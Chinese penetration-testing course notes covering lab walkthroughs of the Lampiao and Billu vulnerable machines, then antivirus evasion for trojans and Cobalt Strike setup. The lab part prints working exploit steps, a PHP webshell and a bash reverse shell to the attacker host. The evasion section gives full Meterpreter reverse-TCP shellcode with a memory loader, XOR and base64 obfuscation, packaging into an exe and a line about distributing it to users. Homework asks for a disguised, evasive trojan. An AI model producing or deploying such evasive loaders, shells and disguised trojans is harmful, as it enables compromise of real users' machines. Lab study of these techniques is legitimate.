本周重点
①Lampiao靶场
②Billu靶场
③木马免杀(重点关注作业)
④CobaltStrike框架使用
本周主要内容
①渗透测试的过程
-
信息收集
-
攻击者视角
端口、版本、框架、URL、子域名、旁站、联系方式、地址、社工库、搜索引擎、fofa、zoomeyes、情报系统(奇安信、微步在线等)
-
渗透测试者视角
-
SRC(Security Response Center)
SRC知识分享[https://blog.csdn.net/hacker3062/article/details/132900134\]
-
项目级授权系统
项目没有上线 ,也有可能是部署在内网的项目 , 可以利用 漏扫、黑盒、白盒 等方式方法
-
-
-
整个入侵过程,分为四个核心部分
- 获取各位数据文件和源码等信息
- 对数据库或者重要数据文件进行拖库
- GetShell获取系统的基础控制权
- 实现提权和权限维持
-
获取控制权之后
如果拿下目标主机的完全控制权或部分控制权,进入内网进行试探和渗透,进一步拿下更多目标,获取更多有价值的数据。内网环境分为两大类:
-
服务器内网,通常有公网IP作为入侵入口(一般web服务器居多,linux居多) ,进入后再进行内网渗透 ,内网一般存在其他服务器环境。
-
办公室内网
一般windows居多 ,所以windows的域渗透为主,不存在公网IP ,没有入口,需要通过钓鱼或者社工手段先拿下一台跳板机(二进制木马,反向连接) ,然后基于跳板机进行渗透。
-
-
对于测试者来说
作为测试者,只关注漏洞本身,关注挖掘到更多的漏洞 ,无论漏洞是否严重 ,都需要挖掘并提供修复建议 。
https://blog.csdn.net/qq_40898302/article/details/129137800
致命或严重漏洞、高危漏洞、中危漏洞、低危漏洞、无效
②Lampiao靶场(kali攻击)
1.扫描主机和端口
nmap -sP 192.168.10.0/24
nmap -p- 192.168.10.139
-->1898端口
2.网页浏览
http://192.168.10.139:1898/
http://192.168.10.139:1898/?q=node/2
http://192.168.10.139:1898/audio.m4a
-->user:tiago
3.目录扫描
dirb http://192.168.10.139:1898
4.工具爆破
cewl 192.168.10.139:1898/ -w password.txt
hydra -l tiago -P password.txt 192.168.10.139 ssh
-->[22][ssh] host: 192.168.10.139 login: tiago password: Virgulino
5.getshell
ssh tiago@192.168.10.139
Virgulino
-->权限低
6.msf工具破解
//网页使用的是Drupal框架
msfconsole
search Drupal
use 1
set rhosts 192.168.10.139
set rport 1898
run
shell
python -c 'import pty; pty.spawn("/bin/bash")'
-->有网页目录写入权限
6.脏牛提权
//开一个新的终端
searchsploit dirty
locate linux/local/40847.cpp
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/ka1/
cd /home/ka1
python3 -m http.server 8088
//msf终端
wget 192.168.10.128:8088/mm.php
//蚁剑连接一句话木马
//脏牛提权
wget 192.168.10.128:8088/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o ycc 40847.cpp -lutil
./yc
-->root密码
dirtyCowFun
//root登录
su root
//mysql信息
cat /var/www/html/sites/default/settings.php
-->
'username' => 'drupaluser',
'password' => 'Virgulino',
//拖库
mysql -u root -p
Virgulino
SELECT GROUP_CONCAT(schema_name SEPARATOR ', ') AS all_databases FROM information_schema.schemata LIMIT 0,1;
select table_name from information_schema.tables where table_schema=database();
select * from users;
③Billu靶场(kali攻击)
1.扫描主机和端口
nmap -sP 192.168.10.0/24
nmap -p- 192.168.10.140
-->80端口
2.网页浏览
访问默认80端口
3.目录扫描
dirb http://192.168.10.140 /usr/share/dirb/wordlists/big.txt
或
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.10.140
4.文件包含漏洞
curl -d "file=/etc/passwd" http://192.168.10.140/test
curl -d "file=c.php" http://192.168.10.140/test
-->数据库信息
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
curl -d "file=index.php" http://192.168.10.140/test
-->'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''
5.构建SQL注入
select * from auth where pass='111\' and uname='or 1=1 #'
打开网页之后利用sql注入
-->
u:or 1=1 #
p:111\
6.图片马上传
//一句话木马
//创建图片1.jpg上传
GIF89a
<?php @eval($_POST['c']);?>
//连接蚁剑要cookie(如图)
load=/uploaded_images/1.jpg&continue=continue&c
//反弹shell
//kali监听
nc -lvp 8888
//火狐panel.php页面提交post
load=/uploaded_images/1.jpg&continue=continue&c=system("bash -c 'bash -i >%26 /dev/tcp/192.168.10.128/8888 0>%261'");
-->网页图片目录写入权限
7.Linux内核3.13.0漏洞提权
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/ka1/
cd /home/ka1
蚁剑上传 37292.c
gcc 37292.c -o ofs
-->
进入root用户
8.查看root信息(其他提权方法)
//接反弹shell步骤就可以
python -c "import pty;pty.spawn('/bin/bash')"
cat phpmy/config.inc.php
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
-->
ssh root@192.168.10.140
roottoor
-->
mysql信息
billu
b0x_billu
④木马免杀
木马分为两类 ,一是脚本型 ,二是二进制木马,两者都需要免杀 。
免杀的核心是 利用加密机制 或 编码机制 绕过杀毒软件的检测 。
1. 脚本型木马
https://baijiahao.baidu.com/s?id=1695910053618223684\&wfr=spider\&for=pc
https://blog.csdn.net/sunjikui1255326447/article/details/95756961
蚁剑工具自带编码格式
但是蚁剑必须要有一句话木马才能连接上目标主机 。
一句话木马的免杀 :参考上述两个网址 。
2 .二进制木马
如何生成一个二进制可执行程序 ,并且要对这个木马程序进行代码混淆,绕过杀毒软件的查杀 。
-
使用 MSFVenom 生成shellcode
shellcode 支持的源码格式 :
cmdbash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
生成python格式的shellcode :
cmdmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.12.129 LPORT=4444 -f py -o shellcode_64.py
木马二进制代码 :
pythonbuf = b"" buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51" buf += b"\x41\x50\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52" buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x0f\xb7" buf += b"\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9\x48\x31\xc0" buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b" buf += b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f" buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48" buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44" buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x4d" buf += b"\x31\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0" buf += b"\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1" buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58" buf += b"\x41\x58\x5e\x59\x48\x01\xd0\x5a\x41\x58\x41\x59" buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49" buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49" buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" buf += b"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x0c\x81\x41\x54" buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41" buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50" buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf" buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5" buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00" buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8" buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20" buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00" buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4" buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba" buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00" buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41" buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6" buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2" buf += b"\xf0\xb5\xa2\x56\xff\xd5"
带有加载器的代码 :
pythonimport ctypes # python中可以调用 DLL底层接口的库 buf = b"" buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51" buf += b"\x41\x50\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52" buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x0f\xb7" buf += b"\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9\x48\x31\xc0" buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b" buf += b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f" buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48" buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44" buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x4d" buf += b"\x31\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0" buf += b"\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1" buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58" buf += b"\x41\x58\x5e\x59\x48\x01\xd0\x5a\x41\x58\x41\x59" buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49" buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49" buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" buf += b"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x0c\x81\x41\x54" buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41" buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50" buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf" buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5" buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00" buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8" buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20" buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00" buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4" buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba" buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00" buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41" buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6" buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2" buf += b"\xf0\xb5\xa2\x56\xff\xd5" # 需要一个加载器 代码 ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf)) handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
- 在kali 上开启监听 :
2. 运行木马程序 实现反弹我们不可能把一个python文件交给用户执行 ,所以需要把这个程序生成一个可执行文件 。
安装打包工具pyinstaller
win+R打开cmd直接使用下面的命令安装即可 :
cmdpip install pyinstaller
执行打包 :
-
对shellcode 进行代码混淆,对加载器代码进行混淆
pythonimport ctypes import base64 # 二进制代码 buf = b"" buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51" buf += b"\x41\x50\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52" buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x4d\x31\xc9" buf += b"\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x48\x31\xc0" buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b" buf += b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f" buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48" buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x44\x8b" buf += b"\x40\x20\x49\x01\xd0\x50\xe3\x56\x48\xff\xc9\x4d" buf += b"\x31\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0" buf += b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1" buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" buf += b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49" buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49" buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" buf += b"\x49\xbc\x02\x00\x16\x18\xc0\xa8\x0c\x81\x41\x54" buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07" buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41" buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50" buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf" buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5" buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00" buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8" buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20" buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00" buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4" buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba" buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00" buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41" buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6" buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2" buf += b"\xf0\xb5\xa2\x56\xff\xd5" # # code = base64.b64encode(buf) # print(code); # code = code[::-1]; # print(code) # code = code[::-1]; # print(code) # # code = base64.b64decode(code) # print(code) # 需要一个解释器 # ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64; # rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40); # ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf)); # handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0); # ctypes.windll.kernel32.WaitForSingleObject(handle, -1); load = "ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;" \ "rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40);" \ "ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), " \ "ctypes.create_string_buffer(buf), len(buf));" \ "handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0);" \ "ctypes.windll.kernel32.WaitForSingleObject(handle, -1);" ; str = ""; for c in load : temp = ord(c) ^ 951 str += chr(temp) +"-" print(str) s = "ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϡ-Ϟ-υ-σ-ς-ϖ-ϛ-϶-ϛ-ϛ-Ϙ-ϔ-Ι-υ-ϒ-τ-σ-ώ-χ-ϒ-Ί-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ---Ό-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Η-Ί-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϡ-Ϟ-υ-σ-ς-ϖ-ϛ-϶-ϛ-ϛ-Ϙ-ϔ-Ο-·-Λ-Η-ϛ-ϒ-ϙ-Ο-ϕ-ς-ϑ-Ξ-Λ-Η-·-Ϗ-΄-·-·-·-Λ-Η-·-Ϗ--·-Ξ-Ό-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϥ-σ-ϛ-Ϻ-Ϙ-ρ-ϒ-Ϻ-ϒ-Ϛ-Ϙ-υ-ώ-Ο-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ---Ο-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Ξ-Λ-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-υ-ϒ-ϖ-σ-ϒ-Ϩ-τ-σ-υ-Ϟ-ϙ-ϐ-Ϩ-ϕ-ς-ϑ-ϑ-ϒ-υ-Ο-ϕ-ς-ϑ-Ξ-Λ-Η-ϛ-ϒ-ϙ-Ο-ϕ-ς-ϑ-Ξ-Ξ-Ό-ϟ-ϖ-ϙ-ϓ-ϛ-ϒ-Η-Ί-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϴ-υ-ϒ-ϖ-σ-ϒ-ϣ-ϟ-υ-ϒ-ϖ-ϓ-Ο-·-Λ-Η-·-Λ-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ---Ο-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Ξ-Λ-Η-·-Λ-Η-·-Λ-Η-·-Ξ-Ό-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-Ϡ-ϖ-Ϟ-σ-ϱ-Ϙ-υ-Ϥ-Ϟ-ϙ-ϐ-ϛ-ϒ-ϸ-ϕ-ϝ-ϒ-ϔ-σ-Ο-ϟ-ϖ-ϙ-ϓ-ϛ-ϒ-Λ-Η-Κ-Ά-Ξ-Ό"; arr = s.split("-"); print(arr) woniu = ""; for n in arr : temp = ord(n) ^ 951 ; woniu += chr(temp) print(woniu)
pythonimport base64 import ctypes source = b'V/vViWL8CfcSZBgaYd+/BRbd2XISGnCSDHAS8kuz/nU1/HWTuVnuBl1VV/PMP8yC6GkWAoGWBBAAABAaZdVQYhSfAg/gV//XIntA6GU+Jik2JiE8JmUyx00xJm0wJiU1/X+UkiluBlcMIJfiIhVQAAAEAgWWBBka2noXgQ8gIVlfAg/gV//XIntA6GU+JiEWBRgaJHTTinISQw+gIBAAAMJ6lXnz/nkC0BchV/fY0Vam6GU+Jik4JyEWBBhaHnISV/P4f/g66GUwJiEw/jkwJiEw/jEwx0Uyx0EUQ5VQKoW1/DwaAmiuBlFAAEQAopeiMV9/HYydMpbQxnITknYSUFUgMgKwYYBACwbSlnYSAAQAgyegIZeiJZVQAAgMz8lMzdnvJ11SpLxiIpVWBhF4/LVQgw+gIpVQZFEWBpVWehVQYFE0BgEiEsYQQHQScA0iEhEDLGkZQHQSkA0iEhF21FdOFhAJMNATxXH44EcAB1QyBHErAHDSWHASISziBlcMNl8/IZ14QBdAJBCQLSEGItI0Bg0Z0BchIBAAAgIgLCAAAIXhPIwCYgXgmBdAIxjQLCiULiUUBJV7iHcAB1QyBHEIsIAfhxDrAHDSQJ3iIpkS3+ASJHTTgI1iIhhULiEYStISlZVUSHDSSBVQRFEAAAAzoDP5DiE/' source = source[::-1]; buf = base64.b64decode(source); #print(source) s = "ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϡ-Ϟ-υ-σ-ς-ϖ-ϛ-϶-ϛ-ϛ-Ϙ-ϔ-Ι-υ-ϒ-τ-σ-ώ-χ-ϒ-Ί-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ---Ό-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Η-Ί-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϡ-Ϟ-υ-σ-ς-ϖ-ϛ-϶-ϛ-ϛ-Ϙ-ϔ-Ο-·-Λ-Η-ϛ-ϒ-ϙ-Ο-ϕ-ς-ϑ-Ξ-Λ-Η-·-Ϗ-΄-·-·-·-Λ-Η-·-Ϗ--·-Ξ-Ό-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϥ-σ-ϛ-Ϻ-Ϙ-ρ-ϒ-Ϻ-ϒ-Ϛ-Ϙ-υ-ώ-Ο-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ---Ο-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Ξ-Λ-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-υ-ϒ-ϖ-σ-ϒ-Ϩ-τ-σ-υ-Ϟ-ϙ-ϐ-Ϩ-ϕ-ς-ϑ-ϑ-ϒ-υ-Ο-ϕ-ς-ϑ-Ξ-Λ-Η-ϛ-ϒ-ϙ-Ο-ϕ-ς-ϑ-Ξ-Ξ-Ό-ϟ-ϖ-ϙ-ϓ-ϛ-ϒ-Η-Ί-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϴ-υ-ϒ-ϖ-σ-ϒ-ϣ-ϟ-υ-ϒ-ϖ-ϓ-Ο-·-Λ-Η-·-Λ-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ---Ο-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Ξ-Λ-Η-·-Λ-Η-·-Λ-Η-·-Ξ-Ό-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-Ϡ-ϖ-Ϟ-σ-ϱ-Ϙ-υ-Ϥ-Ϟ-ϙ-ϐ-ϛ-ϒ-ϸ-ϕ-ϝ-ϒ-ϔ-σ-Ο-ϟ-ϖ-ϙ-ϓ-ϛ-ϒ-Λ-Η-Κ-Ά-Ξ-Ό"; arr = s.split("-"); print(arr) woniu = ""; for n in arr : temp = ord(n) ^ 951 ; woniu += chr(temp) #print(woniu) exec(woniu)
-
利用python生成 exe
cmdpyinstaller.exe -F -w xxxxx.py
-
分发给优良用户
3.作业 (具体查看作业内容复习)
- 自己设计一个免杀木马
- 给自己的木马包装一个外壳(执行程序时,弹出一个对话框,然后再对话框上有一个按钮,点击按钮,木马就执行了)
- 把二进制木马 和 解释器,分别存在两个地方,然后从两个地方拿到木马和解释器,然后执行 。
⑤CobaltStrike框架使用
Cobalt Strike是一款美国Red Team开发的神器,常被业界人称为CS。以Metasploit为基础的GUI框架式工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等,与MSF框架的诸多功能是上完全一致或类似的。主要用于团队作战,可谓是团队必备神器,能让多个测试人员同时连接到团体服务器上,共享测试资源与目标信息和sessions。
Cobalt Strike分为客户端和服务器组件。该服务器称为团队服务器,是Beacon Payload 的控制器,也是Cobalt Strike社交工程功能的主机。团队服务器还存储Cobalt Strike收集的数据,并管理日志记录。
Cobalt Strike团队服务器必须在受支持的Linux系统上运行。要启动Cobalt Strike团队服务器,请使用Cobalt Strike Linux软件包附带的teamserver脚本。
4.0版本至少需要JDK1.8及以上版本,4.4版本至少需要JDK11及以上版本。
CS功能点:
Kali Java 17 上直接运行服务器端和客户端
服务器端 运行时 需要指定IP和访问密码
连接时间设定,默认为1分钟一次,可以用 sleep 3 修改为3秒
Windows和Linux客户端,只要安装了Java,均可以运行
截图:与MSF相同
bind_tcp正向连接木马, 用 connect ip port 命令连接 (与MSF相同)
http的payload,用Wireshark抓包理解期规律 (与MSF相同)
Python shell code -> Python加载器:与MSF相同
文件浏览:(MeterPreter中的ls命令或dir命令)
键盘监听:与MSF相同
内网代理:与MSF相同
站点克隆:复制一个一模一样的网页,MSF无此功能
Script Web Delivery:发布一个网站页面
交互式命令:与Meterpreter中执行命令类似
插件加载:可以加载第三方插件,如Ladon等
木马生成:主要专注于Windows内网环境,MSF更广泛
其他更多功能,请探索
一.linux安装CS
把CS服务端程序上传到linux主机 ,并且解压缩 ,例如 :/opt/cobalt_strike_4.7_crack.zip
cmdunzip cobalt_strike_4.7_crack.zip
运行CS服务 ,在CS的安装目录下:
cmd./teamserver ip 密码
ip : 当前主机的IP
密码 :客户端连接的时候的密码
例如 :./teamserver 192.168.12.129 123456
运行客户端 ,在CS的当前目录下 ,执行 start.sh:
